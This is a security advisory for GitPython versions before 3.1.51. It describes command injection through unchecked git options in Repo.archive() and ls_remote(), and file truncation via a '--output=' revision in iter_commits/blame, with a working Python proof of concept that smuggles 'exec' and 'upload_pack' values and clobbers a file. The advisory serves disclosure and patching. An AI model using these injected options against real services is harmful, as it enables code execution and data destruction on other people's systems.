GHSA-956x-8gvw-wg5v GitPython: command injection via unguarded Git options in `Repo.archive()`, `git.ls_remote()`, and arbitrary file overwrite via `Repo.iter_commits()` / `Repo.blame()`

• PyPI GitPython: < 3.1.51 → fixed in 3.1.51

Summary GitPython already know that --upload-pack / --exec are command-exec vectors, they are denylist in git/remote.py:535 and check by Git.check_unsafe_options() (git/cmd.py:963), the thing is this check him he is only call from fetch, pull, push and clone_from, everything else who build a git argv from caller values just go through, no check, three examples Code analysis Repo.archive (git/repo/base.py:1623) do self.git.archive("--", treeish, *path, kwargs), the treeish is after the --, but the kwargs get dashify by transform_kwarg (git/cmd.py:1487) and they land before it, so {"remote": ".", "exec": ""} give git archive --remote=. --exec= -- , the --remote spawn the upload-archive helper and --exec choose which binary that is, done, default git config, no protocol.ext.allow needed, and archive already document caller kwargs (format, prefix, path) so pass a dict is normal usage repo.git.ls_remote(url, upload_pack=""), same builder, same result, it's exactly the kwarg gap that CVE-2026-42215 close for fetch/pull/push/clone_from, except the dynamic repo.git.(user_dict) surface him he never got the fix Repo.iter_commits / Repo.blame (git/objects/commit.py:348, git/repo/base.py:1199) put the rev before the --, no leading-dash check, a "branch name" like --output=/etc/whatever become git rev-list --output=... --, and git he open and truncate that file before he even validate the revision, the file is gone even if the command error right after PoC Released 3.1.50, git 2.51.0, stock config (`git config --get protocol.ext.allow` returns nothing here). ``` pip install GitPython # 3.1.50 ``` Common setup for the three: ```python import io, os, tempfile, subprocess, git d = tempfile.mkdtemp() subprocess.run(['git','init','-q',d], check=True) subprocess.run(['git','-C',d,'-c','[email protected]','-c','user.name=a', 'commit','-q','--allow-empty','-m','init'], check=True) repo = git.Repo(d) tmp = tempfile.gettempdir() ``` 1. exec via archive (a service exports a repo and forwards the user's options dict): ```python m = os.path.join(tmp, 'gp_archive_check') try: repo.archive(io.BytesIO(), **{'remote': '.', 'exec': 'touch ' + m}) except git.exc.GitCommandError as e: print('[*]', str(e).splitlines()[0][:55]) print('[+] marker present:', os.path.exists(m)) ``` ``` [*] Cmd('git') failed due to: exit code(128) [+] marker present: True ``` 2. exec via ls_remote: ```python m = os.path.join(tmp, 'gp_lsremote_check') try: repo.git.ls_remote('.', upload_pack='touch ' + m + ';') except git.exc.GitCommandError as e: print('[*]', str(e).splitlines()[0][:55]) print('[+] marker present:', os.path.exists(m)) ``` ``` [*] Cmd('git') failed due to: exit code(128) [+] marker present: True ``` 3. file clobber via a rev that looks like a ref: ```python v = os.path.join(tmp, 'release_notes.txt') open(v,'w').write('do not delete\n') print('[*] before:', repr(open(v).read())) try: list(repo.iter_commits('--output=' + v)) except git.exc.GitCommandError as e: print('[*]', str(e).splitlines()[0][:55]) print('[+] after :', repr(open(v).read()), '<- truncated') ``` ``` [*] before: 'do not delete\n' [*] Cmd('git') failed due to: exit code(129) [+] after : '' <- truncated ```